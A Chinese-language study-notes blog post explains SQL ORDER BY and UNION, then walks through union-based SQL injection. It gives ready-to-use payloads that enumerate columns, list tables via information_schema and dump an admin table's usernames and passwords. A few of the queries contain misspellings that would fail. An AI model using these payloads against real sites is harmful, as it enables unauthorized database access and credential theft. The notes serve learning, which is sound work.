学习笔记11.6

sql注入笔记:
1.order by (数字)、列名称 ---->排序
数字指的是按照第几列进行排序,如果数字超过表的最大列,那么就会报错。
asc升序(默认),desc(降序)

2.union(默认选取不同的值)  如果允许重复,则使用union all------>联合查询

union内部的每个select语句必须拥有相同数量的列。
union结果集中的列名总是等于union中第一个select语句的列名。

3.sql注入
第一步:猜解数据库字段数

输入-1'union select 1,2,3,4....# ,可以根据回显判断出sql语句的显示位置
因为-1查询不到,而且联合查询必须是列数相同的,所以也可以判断出来一共有多少列在这个查询表中
同时因为-1,查询不到,所以在显示的位置会出现2,3,4...字样,可以判断出是哪一列显示数据。
这样也不会因为显示了存在的id,而没办法看到我们想要的数据。

第二步:猜解数据库名

database():数据库名字
user():数据库用户
version():数据库版本
select database(),user(),version(),   datebase()就是我们想要的数据库名字

第三步:根据数据库名字去查询表名
知识点:
information_schema 结构用来存储数据库系统信息:

SCHEMATA 存储数据库名的, 
关键字段:SCHEMA_NAME,表示数据库名称 

TABLES 存储表名的 
关键字段:TABLE_SCHEMA表示表所属的数据库名称; 
TABLE_NAME表示表的名称 

COLUMNS 存储字段名的 
关键字段:TABLE_SCHEMA表示表所属的数据库名称; 
TABLE_NAME表示所属的表的名称 
COLUMN_NAME表示字段名

id=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),user(),version()#
一个固定格式, group_concat :指的是将查询到的列的值并排写在一起

group_concat():将同一个分组中的值连接起来,
select group_concat(id) from user where name ='小明'
如果有两个小明,一个id为4,一个id为5
则显示 
姓名  id
小明 4,5


爆所有数据名 
select group_concat(SCHEMA_NAME) from information_schema.schemata 
得到当前库的所有表 
select group_concat(table_name) from information_schema.tables where table_schema=database() 
得到表中的字段名 将敏感的表进行16进制编码adminuser=0x61646D696E75736572 
select group_concat(column_name) from information_schema.columns where table_name=0x61646D696E75736572 
得到字段具体的值     select group_concat(username,0x3a,password) from adminuser
爆字段:
select group_concat(colume_name) from information_sechema.columns where table_sechema=database() and table_name=' '(自己填,从上面一步得到)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值